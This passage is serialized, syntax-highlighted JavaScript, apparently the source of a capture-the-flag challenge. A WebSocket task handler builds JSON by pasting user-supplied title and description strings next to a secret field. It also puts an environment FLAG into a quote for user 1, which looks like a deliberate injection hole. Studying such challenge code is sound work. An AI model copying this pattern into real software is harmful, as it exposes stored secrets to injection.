}",{"type":29,"tag":128,"props":3608,"children":3609},{"style":188},[3610],{"type":34,"value":1220},{"type":29,"tag":128,"props":3612,"children":3613},{"style":743},[3614],{"type":34,"value":2148},{"type":29,"tag":128,"props":3616,"children":3617},{"style":188},[3618],{"type":34,"value":793},{"type":29,"tag":128,"props":3620,"children":3621},{"style":216},[3622],{"type":34,"value":219},{"type":29,"tag":128,"props":3624,"children":3625},{"style":222},[3626],{"type":34,"value":3627},"./util/crypto",{"type":29,"tag":128,"props":3629,"children":3630},{"style":216},[3631],{"type":34,"value":219},{"type":29,"tag":128,"props":3633,"children":3634},{"style":188},[3635],{"type":34,"value":900},{"type":29,"tag":128,"props":3637,"children":3638},{"class":130,"line":151},[3639],{"type":29,"tag":128,"props":3640,"children":3641},{"emptyLinePlaceholder":906},[3642],{"type":34,"value":909},{"type":29,"tag":128,"props":3644,"children":3645},{"class":130,"line":169},[3646,3650,3654],{"type":29,"tag":128,"props":3647,"children":3648},{"style":135},[3649],{"type":34,"value":2249},{"type":29,"tag":128,"props":3651,"children":3652},{"style":205},[3653],{"type":34,"value":1230},{"type":29,"tag":128,"props":3655,"children":3656},{"style":188},[3657],{"type":34,"value":2234},{"type":29,"tag":128,"props":3659,"children":3660},{"class":130,"line":246},[3661,3665,3670],{"type":29,"tag":128,"props":3662,"children":3663},{"style":135},[3664],{"type":34,"value":2249},{"type":29,"tag":128,"props":3666,"children":3667},{"style":205},[3668],{"type":34,"value":3669}," sessionParser",{"type":29,"tag":128,"props":3671,"children":3672},{"style":188},[3673],{"type":34,"value":2234},{"type":29,"tag":128,"props":3675,"children":3676},{"class":130,"line":298},[3677],{"type":29,"tag":128,"props":3678,"children":3679},{"emptyLinePlaceholder":906},[3680],{"type":34,"value":909},{"type":29,"tag":128,"props":3682,"children":3683},{"class":130,"line":323},[3684,3688,3693,3697],{"type":29,"tag":128,"props":3685,"children":3686},{"style":135},[3687],{"type":34,"value":2134},{"type":29,"tag":128,"props":3689,"children":3690},{"style":205},[3691],{"type":34,"value":3692}," quotes",{"type":29,"tag":128,"props":3694,"children":3695},{"style":188},[3696],{"type":34,"value":1220},{"type":29,"tag":128,"props":3698,"children":3699},{"style":188},[3700],{"type":34,"value":3011},{"type":29,"tag":128,"props":3702,"children":3703},{"class":130,"line":364},[3704,3709,3714,3718],{"type":29,"tag":128,"props":3705,"children":3706},{"style":216},[3707],{"type":34,"value":3708},"    \"",{"type":29,"tag":128,"props":3710,"children":3711},{"style":222},[3712],{"type":34,"value":3713},"Genius is one percent inspiration and ninety-nine percent perspiration.",{"type":29,"tag":128,"props":3715,"children":3716},{"style":216},[3717],{"type":34,"value":432},{"type":29,"tag":128,"props":3719,"children":3720},{"style":188},[3721],{"type":34,"value":814},{"type":29,"tag":128,"props":3723,"children":3724},{"class":130,"line":407},[3725,3729,3734,3738],{"type":29,"tag":128,"props":3726,"children":3727},{"style":216},[3728],{"type":34,"value":3708},{"type":29,"tag":128,"props":3730,"children":3731},{"style":222},[3732],{"type":34,"value":3733},"Fate is in your hands and no one elses.",{"type":29,"tag":128,"props":3735,"children":3736},{"style":216},[3737],{"type":34,"value":432},{"type":29,"tag":128,"props":3739,"children":3740},{"style":188},[3741],{"type":34,"value":814},{"type":29,"tag":128,"props":3743,"children":3744},{"class":130,"line":470},[3745,3749,3754],{"type":29,"tag":128,"props":3746,"children":3747},{"style":216},[3748],{"type":34,"value":3708},{"type":29,"tag":128,"props":3750,"children":3751},{"style":222},[3752],{"type":34,"value":3753},"Trust yourself. You know more than you think you do.",{"type":29,"tag":128,"props":3755,"children":3756},{"style":216},[3757],{"type":34,"value":3758},"\"\n",{"type":29,"tag":128,"props":3760,"children":3761},{"class":130,"line":531},[3762],{"type":29,"tag":128,"props":3763,"children":3764},{"style":188},[3765],{"type":34,"value":3766},"];\n",{"type":29,"tag":128,"props":3768,"children":3769},{"class":130,"line":590},[3770],{"type":29,"tag":128,"props":3771,"children":3772},{"emptyLinePlaceholder":906},[3773],{"type":34,"value":909},{"type":29,"tag":128,"props":3775,"children":3776},{"class":130,"line":607},[3777,3781,3786,3790,3794,3799,3803,3807,3811,3815],{"type":29,"tag":128,"props":3778,"children":3779},{"style":135},[3780],{"type":34,"value":2134},{"type":29,"tag":128,"props":3782,"children":3783},{"style":743},[3784],{"type":34,"value":3785}," wsHandler",{"type":29,"tag":128,"props":3787,"children":3788},{"style":188},[3789],{"type":34,"value":1220},{"type":29,"tag":128,"props":3791,"children":3792},{"style":188},[3793],{"type":34,"value":191},{"type":29,"tag":128,"props":3795,"children":3796},{"style":205},[3797],{"type":34,"value":3798},"ws",{"type":29,"tag":128,"props":3800,"children":3801},{"style":188},[3802],{"type":34,"value":1099},{"type":29,"tag":128,"props":3804,"children":3805},{"style":205},[3806],{"type":34,"value":1179},{"type":29,"tag":128,"props":3808,"children":3809},{"style":188},[3810],{"type":34,"value":1127},{"type":29,"tag":128,"props":3812,"children":3813},{"style":188},[3814],{"type":34,"value":1132},{"type":29,"tag":128,"props":3816,"children":3817},{"style":188},[3818],{"type":34,"value":1137},{"type":29,"tag":128,"props":3820,"children":3821},{"class":130,"line":633},[3822,3827,3832],{"type":29,"tag":128,"props":3823,"children":3824},{"style":135},[3825],{"type":34,"value":3826},"    let",{"type":29,"tag":128,"props":3828,"children":3829},{"style":205},[3830],{"type":34,"value":3831}," userId",{"type":29,"tag":128,"props":3833,"children":3834},{"style":188},[3835],{"type":34,"value":2234},{"type":29,"tag":128,"props":3837,"children":3838},{"class":130,"line":650},[3839,3844,3848,3852,3856,3861,3866,3870],{"type":29,"tag":128,"props":3840,"children":3841},{"style":743},[3842],{"type":34,"value":3843},"    sessionParser",{"type":29,"tag":128,"props":3845,"children":3846},{"style":188},[3847],{"type":34,"value":793},{"type":29,"tag":128,"props":3849,"children":3850},{"style":205},[3851],{"type":34,"value":1113},{"type":29,"tag":128,"props":3853,"children":3854},{"style":188},[3855],{"type":34,"value":1099},{"type":29,"tag":128,"props":3857,"children":3858},{"style":188},[3859],{"type":34,"value":3860}," {},",{"type":29,"tag":128,"props":3862,"children":3863},{"style":188},[3864],{"type":34,"value":3865}," ()",{"type":29,"tag":128,"props":3867,"children":3868},{"style":188},[3869],{"type":34,"value":1132},{"type":29,"tag":128,"props":3871,"children":3872},{"style":188},[3873],{"type":34,"value":1137},{"type":29,"tag":128,"props":3875,"children":3876},{"class":130,"line":1038},[3877,3882,3886,3890,3894,3898,3902,3906,3910],{"type":29,"tag":128,"props":3878,"children":3879},{"style":182},[3880],{"type":34,"value":3881},"        if",{"type":29,"tag":128,"props":3883,"children":3884},{"style":188},[3885],{"type":34,"value":191},{"type":29,"tag":128,"props":3887,"children":3888},{"style":205},[3889],{"type":34,"value":1113},{"type":29,"tag":128,"props":3891,"children":3892},{"style":188},[3893],{"type":34,"value":64},{"type":29,"tag":128,"props":3895,"children":3896},{"style":205},[3897],{"type":34,"value":1188},{"type":29,"tag":128,"props":3899,"children":3900},{"style":188},[3901],{"type":34,"value":64},{"type":29,"tag":128,"props":3903,"children":3904},{"style":205},[3905],{"type":34,"value":1197},{"type":29,"tag":128,"props":3907,"children":3908},{"style":188},[3909],{"type":34,"value":1127},{"type":29,"tag":128,"props":3911,"children":3912},{"style":188},[3913],{"type":34,"value":1137},{"type":29,"tag":128,"props":3915,"children":3916},{"class":130,"line":1685},[3917,3922,3926,3930,3934,3938,3942,3946],{"type":29,"tag":128,"props":3918,"children":3919},{"style":205},[3920],{"type":34,"value":3921},"            userId",{"type":29,"tag":128,"props":3923,"children":3924},{"style":188},[3925],{"type":34,"value":1220},{"type":29,"tag":128,"props":3927,"children":3928},{"style":205},[3929],{"type":34,"value":1179},{"type":29,"tag":128,"props":3931,"children":3932},{"style":188},[3933],{"type":34,"value":64},{"type":29,"tag":128,"props":3935,"children":3936},{"style":205},[3937],{"type":34,"value":1188},{"type":29,"tag":128,"props":3939,"children":3940},{"style":188},[3941],{"type":34,"value":64},{"type":29,"tag":128,"props":3943,"children":3944},{"style":205},[3945],{"type":34,"value":1197},{"type":29,"tag":128,"props":3947,"children":3948},{"style":188},[3949],{"type":34,"value":2234},{"type":29,"tag":128,"props":3951,"children":3952},{"class":130,"line":1750},[3953,3958,3962],{"type":29,"tag":128,"props":3954,"children":3955},{"style":188},[3956],{"type":34,"value":3957},"        }",{"type":29,"tag":128,"props":3959,"children":3960},{"style":182},[3961],{"type":34,"value":312},{"type":29,"tag":128,"props":3963,"children":3964},{"style":188},[3965],{"type":34,"value":1137},{"type":29,"tag":128,"props":3967,"children":3968},{"class":130,"line":1758},[3969,3974,3978,3982],{"type":29,"tag":128,"props":3970,"children":3971},{"style":205},[3972],{"type":34,"value":3973},"            ws",{"type":29,"tag":128,"props":3975,"children":3976},{"style":188},[3977],{"type":34,"value":64},{"type":29,"tag":128,"props":3979,"children":3980},{"style":743},[3981],{"type":34,"value":2787},{"type":29,"tag":128,"props":3983,"children":3984},{"style":188},[3985],{"type":34,"value":3986},"();\n",{"type":29,"tag":128,"props":3988,"children":3989},{"class":130,"line":1766},[3990],{"type":29,"tag":128,"props":3991,"children":3992},{"style":188},[3993],{"type":34,"value":3994},"        }\n",{"type":29,"tag":128,"props":3996,"children":3997},{"class":130,"line":1779},[3998],{"type":29,"tag":128,"props":3999,"children":4000},{"style":188},[4001],{"type":34,"value":4002},"    });\n",{"type":29,"tag":128,"props":4004,"children":4005},{"class":130,"line":1853},[4006],{"type":29,"tag":128,"props":4007,"children":4008},{"emptyLinePlaceholder":906},[4009],{"type":34,"value":909},{"type":29,"tag":128,"props":4011,"children":4012},{"class":130,"line":1910},[4013,4018,4022,4027,4031,4035,4039,4043,4047,4051,4055,4060,4064,4068],{"type":29,"tag":128,"props":4014,"children":4015},{"style":205},[4016],{"type":34,"value":4017},"    ws",{"type":29,"tag":128,"props":4019,"children":4020},{"style":188},[4021],{"type":34,"value":64},{"type":29,"tag":128,"props":4023,"children":4024},{"style":743},[4025],{"type":34,"value":4026},"on",{"type":29,"tag":128,"props":4028,"children":4029},{"style":188},[4030],{"type":34,"value":793},{"type":29,"tag":128,"props":4032,"children":4033},{"style":216},[4034],{"type":34,"value":219},{"type":29,"tag":128,"props":4036,"children":4037},{"style":222},[4038],{"type":34,"value":3473},{"type":29,"tag":128,"props":4040,"children":4041},{"style":216},[4042],{"type":34,"value":219},{"type":29,"tag":128,"props":4044,"children":4045},{"style":188},[4046],{"type":34,"value":1099},{"type":29,"tag":128,"props":4048,"children":4049},{"style":135},[4050],{"type":34,"value":1104},{"type":29,"tag":128,"props":4052,"children":4053},{"style":188},[4054],{"type":34,"value":191},{"type":29,"tag":128,"props":4056,"children":4057},{"style":205},[4058],{"type":34,"value":4059},"msg",{"type":29,"tag":128,"props":4061,"children":4062},{"style":188},[4063],{"type":34,"value":1127},{"type":29,"tag":128,"props":4065,"children":4066},{"style":188},[4067],{"type":34,"value":1132},{"type":29,"tag":128,"props":4069,"children":4070},{"style":188},[4071],{"type":34,"value":1137},{"type":29,"tag":128,"props":4073,"children":4074},{"class":130,"line":1941},[4075,4079,4084,4088,4093,4097,4102,4106,4110],{"type":29,"tag":128,"props":4076,"children":4077},{"style":135},[4078],{"type":34,"value":1785},{"type":29,"tag":128,"props":4080,"children":4081},{"style":205},[4082],{"type":34,"value":4083}," data",{"type":29,"tag":128,"props":4085,"children":4086},{"style":188},[4087],{"type":34,"value":1220},{"type":29,"tag":128,"props":4089,"children":4090},{"style":205},[4091],{"type":34,"value":4092}," JSON",{"type":29,"tag":128,"props":4094,"children":4095},{"style":188},[4096],{"type":34,"value":64},{"type":29,"tag":128,"props":4098,"children":4099},{"style":743},[4100],{"type":34,"value":4101},"parse",{"type":29,"tag":128,"props":4103,"children":4104},{"style":188},[4105],{"type":34,"value":793},{"type":29,"tag":128,"props":4107,"children":4108},{"style":205},[4109],{"type":34,"value":4059},{"type":29,"tag":128,"props":4111,"children":4112},{"style":188},[4113],{"type":34,"value":900},{"type":29,"tag":128,"props":4115,"children":4116},{"class":130,"line":2006},[4117,4121,4125,4129,4133,4137,4141,4145,4149,4153,4157,4161,4165,4169],{"type":29,"tag":128,"props":4118,"children":4119},{"style":135},[4120],{"type":34,"value":1785},{"type":29,"tag":128,"props":4122,"children":4123},{"style":205},[4124],{"type":34,"value":1342},{"type":29,"tag":128,"props":4126,"children":4127},{"style":188},[4128],{"type":34,"value":1220},{"type":29,"tag":128,"props":4130,"children":4131},{"style":182},[4132],{"type":34,"value":1225},{"type":29,"tag":128,"props":4134,"children":4135},{"style":205},[4136],{"type":34,"value":1230},{"type":29,"tag":128,"props":4138,"children":4139},{"style":188},[4140],{"type":34,"value":64},{"type":29,"tag":128,"props":4142,"children":4143},{"style":743},[4144],{"type":34,"value":1239},{"type":29,"tag":128,"props":4146,"children":4147},{"style":188},[4148],{"type":34,"value":793},{"type":29,"tag":128,"props":4150,"children":4151},{"style":205},[4152],{"type":34,"value":1113},{"type":29,"tag":128,"props":4154,"children":4155},{"style":188},[4156],{"type":34,"value":64},{"type":29,"tag":128,"props":4158,"children":4159},{"style":205},[4160],{"type":34,"value":1188},{"type":29,"tag":128,"props":4162,"children":4163},{"style":188},[4164],{"type":34,"value":64},{"type":29,"tag":128,"props":4166,"children":4167},{"style":205},[4168],{"type":34,"value":1197},{"type":29,"tag":128,"props":4170,"children":4171},{"style":188},[4172],{"type":34,"value":900},{"type":29,"tag":128,"props":4174,"children":4175},{"class":130,"line":2014},[4176],{"type":29,"tag":128,"props":4177,"children":4178},{"emptyLinePlaceholder":906},[4179],{"type":34,"value":909},{"type":29,"tag":128,"props":4181,"children":4182},{"class":130,"line":2022},[4183,4187,4191,4196,4200,4205,4209,4213,4218,4222,4226],{"type":29,"tag":128,"props":4184,"children":4185},{"style":182},[4186],{"type":34,"value":3881},{"type":29,"tag":128,"props":4188,"children":4189},{"style":188},[4190],{"type":34,"value":191},{"type":29,"tag":128,"props":4192,"children":4193},{"style":205},[4194],{"type":34,"value":4195},"data",{"type":29,"tag":128,"props":4197,"children":4198},{"style":188},[4199],{"type":34,"value":64},{"type":29,"tag":128,"props":4201,"children":4202},{"style":205},[4203],{"type":34,"value":4204},"action",{"type":29,"tag":128,"props":4206,"children":4207},{"style":135},[4208],{"type":34,"value":3118},{"type":29,"tag":128,"props":4210,"children":4211},{"style":216},[4212],{"type":34,"value":1418},{"type":29,"tag":128,"props":4214,"children":4215},{"style":222},[4216],{"type":34,"value":4217},"add",{"type":29,"tag":128,"props":4219,"children":4220},{"style":216},[4221],{"type":34,"value":219},{"type":29,"tag":128,"props":4223,"children":4224},{"style":188},[4225],{"type":34,"value":1127},{"type":29,"tag":128,"props":4227,"children":4228},{"style":188},[4229],{"type":34,"value":1137},{"type":29,"tag":128,"props":4231,"children":4232},{"class":130,"line":2030},[4233,4238],{"type":29,"tag":128,"props":4234,"children":4235},{"style":182},[4236],{"type":34,"value":4237},"            try",{"type":29,"tag":128,"props":4239,"children":4240},{"style":188},[4241],{"type":34,"value":1137},{"type":29,"tag":128,"props":4243,"children":4244},{"class":130,"line":2040},[4245,4250,4254,4258,4263,4267,4271,4275,4280,4285,4290,4294,4298,4303,4308,4313,4317,4321,4325,4330,4334,4339,4343,4347,4351,4356,4361],{"type":29,"tag":128,"props":4246,"children":4247},{"style":182},[4248],{"type":34,"value":4249},"                await",{"type":29,"tag":128,"props":4251,"children":4252},{"style":205},[4253],{"type":34,"value":1230},{"type":29,"tag":128,"props":4255,"children":4256},{"style":188},[4257],{"type":34,"value":64},{"type":29,"tag":128,"props":4259,"children":4260},{"style":743},[4261],{"type":34,"value":4262},"addTask",{"type":29,"tag":128,"props":4264,"children":4265},{"style":188},[4266],{"type":34,"value":793},{"type":29,"tag":128,"props":4268,"children":4269},{"style":205},[4270],{"type":34,"value":1197},{"type":29,"tag":128,"props":4272,"children":4273},{"style":188},[4274],{"type":34,"value":1099},{"type":29,"tag":128,"props":4276,"children":4277},{"style":216},[4278],{"type":34,"value":4279}," `",{"type":29,"tag":128,"props":4281,"children":4282},{"style":222},[4283],{"type":34,"value":4284},"{\"title\":\"",{"type":29,"tag":128,"props":4286,"children":4287},{"style":182},[4288],{"type":34,"value":4289},"${",{"type":29,"tag":128,"props":4291,"children":4292},{"style":222},[4293],{"type":34,"value":4195},{"type":29,"tag":128,"props":4295,"children":4296},{"style":188},[4297],{"type":34,"value":64},{"type":29,"tag":128,"props":4299,"children":4300},{"style":222},[4301],{"type":34,"value":4302},"title",{"type":29,"tag":128,"props":4304,"children":4305},{"style":182},[4306],{"type":34,"value":4307},"}",{"type":29,"tag":128,"props":4309,"children":4310},{"style":222},[4311],{"type":34,"value":4312},"\",\"description\":\"",{"type":29,"tag":128,"props":4314,"children":4315},{"style":182},[4316],{"type":34,"value":4289},{"type":29,"tag":128,"props":4318,"children":4319},{"style":222},[4320],{"type":34,"value":4195},{"type":29,"tag":128,"props":4322,"children":4323},{"style":188},[4324],{"type":34,"value":64},{"type":29,"tag":128,"props":4326,"children":4327},{"style":222},[4328],{"type":34,"value":4329},"description",{"type":29,"tag":128,"props":4331,"children":4332},{"style":182},[4333],{"type":34,"value":4307},{"type":29,"tag":128,"props":4335,"children":4336},{"style":222},[4337],{"type":34,"value":4338},"\",\"secret\":\"",{"type":29,"tag":128,"props":4340,"children":4341},{"style":182},[4342],{"type":34,"value":4289},{"type":29,"tag":128,"props":4344,"children":4345},{"style":222},[4346],{"type":34,"value":1552},{"type":29,"tag":128,"props":4348,"children":4349},{"style":182},[4350],{"type":34,"value":4307},{"type":29,"tag":128,"props":4352,"children":4353},{"style":222},[4354],{"type":34,"value":4355},"\"}",{"type":29,"tag":128,"props":4357,"children":4358},{"style":216},[4359],{"type":34,"value":4360},"`",{"type":29,"tag":128,"props":4362,"children":4363},{"style":188},[4364],{"type":34,"value":900},{"type":29,"tag":128,"props":4366,"children":4367},{"class":130,"line":2886},[4368,4373,4377,4381,4385,4390,4394,4399,4403,4408,4412,4417,4421,4425,4429,4433,4437,4441],{"type":29,"tag":128,"props":4369,"children":4370},{"style":205},[4371],{"type":34,"value":4372},"                ws",{"type":29,"tag":128,"props":4374,"children":4375},{"style":188},[4376],{"type":34,"value":64},{"type":29,"tag":128,"props":4378,"children":4379},{"style":743},[4380],{"type":34,"value":3269},{"type":29,"tag":128,"props":4382,"children":4383},{"style":188},[4384],{"type":34,"value":793},{"type":29,"tag":128,"props":4386,"children":4387},{"style":205},[4388],{"type":34,"value":4389},"JSON",{"type":29,"tag":128,"props":4391,"children":4392},{"style":188},[4393],{"type":34,"value":64},{"type":29,"tag":128,"props":4395,"children":4396},{"style":743},[4397],{"type":34,"value":4398},"stringify",{"type":29,"tag":128,"props":4400,"children":4401},{"style":188},[4402],{"type":34,"value":1337},{"type":29,"tag":128,"props":4404,"children":4405},{"style":194},[4406],{"type":34,"value":4407}," success",{"type":29,"tag":128,"props":4409,"children":4410},{"style":188},[4411],{"type":34,"value":238},{"type":29,"tag":128,"props":4413,"children":4414},{"style":182},[4415],{"type":34,"value":4416}," true",{"type":29,"tag":128,"props":4418,"children":4419},{"style":188},[4420],{"type":34,"value":1099},{"type":29,"tag":128,"props":4422,"children":4423},{"style":194},[4424],{"type":34,"value":422},{"type":29,"tag":128,"props":4426,"children":4427},{"style":188},[4428],{"type":34,"value":238},{"type":29,"tag":128,"props":4430,"children":4431},{"style":216},[4432],{"type":34,"value":1418},{"type":29,"tag":128,"props":4434,"children":4435},{"style":222},[4436],{"type":34,"value":4217},{"type":29,"tag":128,"props":4438,"children":4439},{"style":216},[4440],{"type":34,"value":219},{"type":29,"tag":128,"props":4442,"children":4443},{"style":188},[4444],{"type":34,"value":4445}," }));\n",{"type":29,"tag":128,"props":4447,"children":4448},{"class":130,"line":2894},[4449,4454,4458,4462,4466,4470],{"type":29,"tag":128,"props":4450,"children":4451},{"style":188},[4452],{"type":34,"value":4453},"            }",{"type":29,"tag":128,"props":4455,"children":4456},{"style":182},[4457],{"type":34,"value":1921},{"type":29,"tag":128,"props":4459,"children":4460},{"style":188},[4461],{"type":34,"value":191},{"type":29,"tag":128,"props":4463,"children":4464},{"style":205},[4465],{"type":34,"value":1930},{"type":29,"tag":128,"props":4467,"children":4468},{"style":188},[4469],{"type":34,"value":1127},{"type":29,"tag":128,"props":4471,"children":4472},{"style":188},[4473],{"type":34,"value":1137},{"type":29,"tag":128,"props":4475,"children":4476},{"class":130,"line":2923},[4477,4481,4485,4489,4493,4497,4501,4505,4509,4513,4517,4522,4526,4530,4534,4538,4542,4546],{"type":29,"tag":128,"props":4478,"children":4479},{"style":205},[4480],{"type":34,"value":4372},{"type":29,"tag":128,"props":4482,"children":4483},{"style":188},[4484],{"type":34,"value":64},{"type":29,"tag":128,"props":4486,"children":4487},{"style":743},[4488],{"type":34,"value":3269},{"type":29,"tag":128,"props":4490,"children":4491},{"style":188},[4492],{"type":34,"value":793},{"type":29,"tag":128,"props":4494,"children":4495},{"style":205},[4496],{"type":34,"value":4389},{"type":29,"tag":128,"props":4498,"children":4499},{"style":188},[4500],{"type":34,"value":64},{"type":29,"tag":128,"props":4502,"children":4503},{"style":743},[4504],{"type":34,"value":4398},{"type":29,"tag":128,"props":4506,"children":4507},{"style":188},[4508],{"type":34,"value":1337},{"type":29,"tag":128,"props":4510,"children":4511},{"style":194},[4512],{"type":34,"value":4407},{"type":29,"tag":128,"props":4514,"children":4515},{"style":188},[4516],{"type":34,"value":238},{"type":29,"tag":128,"props":4518,"children":4519},{"style":182},[4520],{"type":34,"value":4521}," false",{"type":29,"tag":128,"props":4523,"children":4524},{"style":188},[4525],{"type":34,"value":1099},{"type":29,"tag":128,"props":4527,"children":4528},{"style":194},[4529],{"type":34,"value":422},{"type":29,"tag":128,"props":4531,"children":4532},{"style":188},[4533],{"type":34,"value":238},{"type":29,"tag":128,"props":4535,"children":4536},{"style":216},[4537],{"type":34,"value":1418},{"type":29,"tag":128,"props":4539,"children":4540},{"style":222},[4541],{"type":34,"value":4217},{"type":29,"tag":128,"props":4543,"children":4544},{"style":216},[4545],{"type":34,"value":219},{"type":29,"tag":128,"props":4547,"children":4548},{"style":188},[4549],{"type":34,"value":4445},{"type":29,"tag":128,"props":4551,"children":4552},{"class":130,"line":2961},[4553],{"type":29,"tag":128,"props":4554,"children":4555},{"style":188},[4556],{"type":34,"value":4557},"            }\n",{"type":29,"tag":128,"props":4559,"children":4560},{"class":130,"line":2996},[4561],{"type":29,"tag":128,"props":4562,"children":4563},{"style":188},[4564],{"type":34,"value":3994},{"type":29,"tag":128,"props":4566,"children":4567},{"class":130,"line":3014},[4568,4573,4577,4581,4585,4589,4593,4597,4601,4605,4609,4613],{"type":29,"tag":128,"props":4569,"children":4570},{"style":182},[4571],{"type":34,"value":4572},"        else",{"type":29,"tag":128,"props":4574,"children":4575},{"style":182},[4576],{"type":34,"value":185},{"type":29,"tag":128,"props":4578,"children":4579},{"style":188},[4580],{"type":34,"value":191},{"type":29,"tag":128,"props":4582,"children":4583},{"style":205},[4584],{"type":34,"value":4195},{"type":29,"tag":128,"props":4586,"children":4587},{"style":188},[4588],{"type":34,"value":64},{"type":29,"tag":128,"props":4590,"children":4591},{"style":205},[4592],{"type":34,"value":4204},{"type":29,"tag":128,"props":4594,"children":4595},{"style":135},[4596],{"type":34,"value":3118},{"type":29,"tag":128,"props":4598,"children":4599},{"style":216},[4600],{"type":34,"value":1418},{"type":29,"tag":128,"props":4602,"children":4603},{"style":222},[4604],{"type":34,"value":459},{"type":29,"tag":128,"props":4606,"children":4607},{"style":216},[4608],{"type":34,"value":219},{"type":29,"tag":128,"props":4610,"children":4611},{"style":188},[4612],{"type":34,"value":1127},{"type":29,"tag":128,"props":4614,"children":4615},{"style":188},[4616],{"type":34,"value":1137},{"type":29,"tag":128,"props":4618,"children":4619},{"class":130,"line":3023},[4620,4624],{"type":29,"tag":128,"props":4621,"children":4622},{"style":182},[4623],{"type":34,"value":4237},{"type":29,"tag":128,"props":4625,"children":4626},{"style":188},[4627],{"type":34,"value":1137},{"type":29,"tag":128,"props":4629,"children":4630},{"class":130,"line":3032},[4631,4636,4641,4645,4649,4653,4657,4662,4666,4670],{"type":29,"tag":128,"props":4632,"children":4633},{"style":135},[4634],{"type":34,"value":4635},"                const",{"type":29,"tag":128,"props":4637,"children":4638},{"style":205},[4639],{"type":34,"value":4640}," results",{"type":29,"tag":128,"props":4642,"children":4643},{"style":188},[4644],{"type":34,"value":1220},{"type":29,"tag":128,"props":4646,"children":4647},{"style":182},[4648],{"type":34,"value":1225},{"type":29,"tag":128,"props":4650,"children":4651},{"style":205},[4652],{"type":34,"value":1230},{"type":29,"tag":128,"props":4654,"children":4655},{"style":188},[4656],{"type":34,"value":64},{"type":29,"tag":128,"props":4658,"children":4659},{"style":743},[4660],{"type":34,"value":4661},"getTasks",{"type":29,"tag":128,"props":4663,"children":4664},{"style":188},[4665],{"type":34,"value":793},{"type":29,"tag":128,"props":4667,"children":4668},{"style":205},[4669],{"type":34,"value":1197},{"type":29,"tag":128,"props":4671,"children":4672},{"style":188},[4673],{"type":34,"value":900},{"type":29,"tag":128,"props":4675,"children":4676},{"class":130,"line":3041},[4677,4681,4686,4690],{"type":29,"tag":128,"props":4678,"children":4679},{"style":135},[4680],{"type":34,"value":4635},{"type":29,"tag":128,"props":4682,"children":4683},{"style":205},[4684],{"type":34,"value":4685}," tasks",{"type":29,"tag":128,"props":4687,"children":4688},{"style":188},[4689],{"type":34,"value":1220},{"type":29,"tag":128,"props":4691,"children":4692},{"style":188},[4693],{"type":34,"value":4694}," [];\n",{"type":29,"tag":128,"props":4696,"children":4697},{"class":130,"line":3049},[4698,4703,4707,4711,4715,4720,4724,4728],{"type":29,"tag":128,"props":4699,"children":4700},{"style":182},[4701],{"type":34,"value":4702},"                for",{"type":29,"tag":128,"props":4704,"children":4705},{"style":188},[4706],{"type":34,"value":191},{"type":29,"tag":128,"props":4708,"children":4709},{"style":135},[4710],{"type":34,"value":2134},{"type":29,"tag":128,"props":4712,"children":4713},{"style":205},[4714],{"type":34,"value":1215},{"type":29,"tag":128,"props":4716,"children":4717},{"style":135},[4718],{"type":34,"value":4719}," of",{"type":29,"tag":128,"props":4721,"children":4722},{"style":205},[4723],{"type":34,"value":4640},{"type":29,"tag":128,"props":4725,"children":4726},{"style":188},[4727],{"type":34,"value":1127},{"type":29,"tag":128,"props":4729,"children":4730},{"style":188},[4731],{"type":34,"value":1137},{"type":29,"tag":128,"props":4733,"children":4734},{"class":130,"line":3057},[4735],{"type":29,"tag":128,"props":4736,"children":4737},{"emptyLinePlaceholder":906},[4738],{"type":34,"value":909},{"type":29,"tag":128,"props":4740,"children":4741},{"class":130,"line":3095},[4742,4747,4752],{"type":29,"tag":128,"props":4743,"children":4744},{"style":135},[4745],{"type":34,"value":4746},"                    let",{"type":29,"tag":128,"props":4748,"children":4749},{"style":205},[4750],{"type":34,"value":4751}," quote",{"type":29,"tag":128,"props":4753,"children":4754},{"style":188},[4755],{"type":34,"value":2234},{"type":29,"tag":128,"props":4757,"children":4758},{"class":130,"line":3107},[4759],{"type":29,"tag":128,"props":4760,"children":4761},{"emptyLinePlaceholder":906},[4762],{"type":34,"value":909},{"type":29,"tag":128,"props":4764,"children":4765},{"class":130,"line":3131},[4766,4771,4775,4779,4783,4788,4792],{"type":29,"tag":128,"props":4767,"children":4768},{"style":182},[4769],{"type":34,"value":4770},"                    if",{"type":29,"tag":128,"props":4772,"children":4773},{"style":188},[4774],{"type":34,"value":191},{"type":29,"tag":128,"props":4776,"children":4777},{"style":205},[4778],{"type":34,"value":1197},{"type":29,"tag":128,"props":4780,"children":4781},{"style":135},[4782],{"type":34,"value":3118},{"type":29,"tag":128,"props":4784,"children":4785},{"style":796},[4786],{"type":34,"value":4787}," 1",{"type":29,"tag":128,"props":4789,"children":4790},{"style":188},[4791],{"type":34,"value":1127},{"type":29,"tag":128,"props":4793,"children":4794},{"style":188},[4795],{"type":34,"value":1137},{"type":29,"tag":128,"props":4797,"children":4798},{"class":130,"line":3222},[4799,4804,4808,4812,4817,4821,4826,4830,4834,4838,4843,4847,4852,4856],{"type":29,"tag":128,"props":4800,"children":4801},{"style":205},[4802],{"type":34,"value":4803},"                        quote",{"type":29,"tag":128,"props":4805,"children":4806},{"style":188},[4807],{"type":34,"value":1220},{"type":29,"tag":128,"props":4809,"children":4810},{"style":216},[4811],{"type":34,"value":4279},{"type":29,"tag":128,"props":4813,"children":4814},{"style":222},[4815],{"type":34,"value":4816},"A wise man once said, \"the flag is ",{"type":29,"tag":128,"props":4818,"children":4819},{"style":182},[4820],{"type":34,"value":4289},{"type":29,"tag":128,"props":4822,"children":4823},{"style":222},[4824],{"type":34,"value":4825},"process",{"type":29,"tag":128,"props":4827,"children":4828},{"style":188},[4829],{"type":34,"value":64},{"type":29,"tag":128,"props":4831,"children":4832},{"style":222},[4833],{"type":34,"value":2554},{"type":29,"tag":128,"props":4835,"children":4836},{"style":188},[4837],{"type":34,"value":64},{"type":29,"tag":128,"props":4839,"children":4840},{"style":222},[4841],{"type":34,"value":4842},"FLAG",{"type":29,"tag":128,"props":4844,"children":4845},{"style":182},[4846],{"type":34,"value":4307},{"type":29,"tag":128,"props":4848,"children":4849},{"style":222},[4850],{"type":34,"value":4851},"\".",{"type":29,"tag":128,"props":4853,"children":4854},{"style":216},[4855],{"type":34,"value":4360},{"type":29,"tag":128,"props":4857,"children":4858},{"style":188},[4859],{"type":34,"value":2234},{"type":29,"tag":128,"props":4861,"children":4862},{"class":130,"line":3235},[4863,4868,4872],{"type":29,"tag":128,"props":4864,"children":4865},{"style":188},[4866],{"type":34,"value":4867},"                    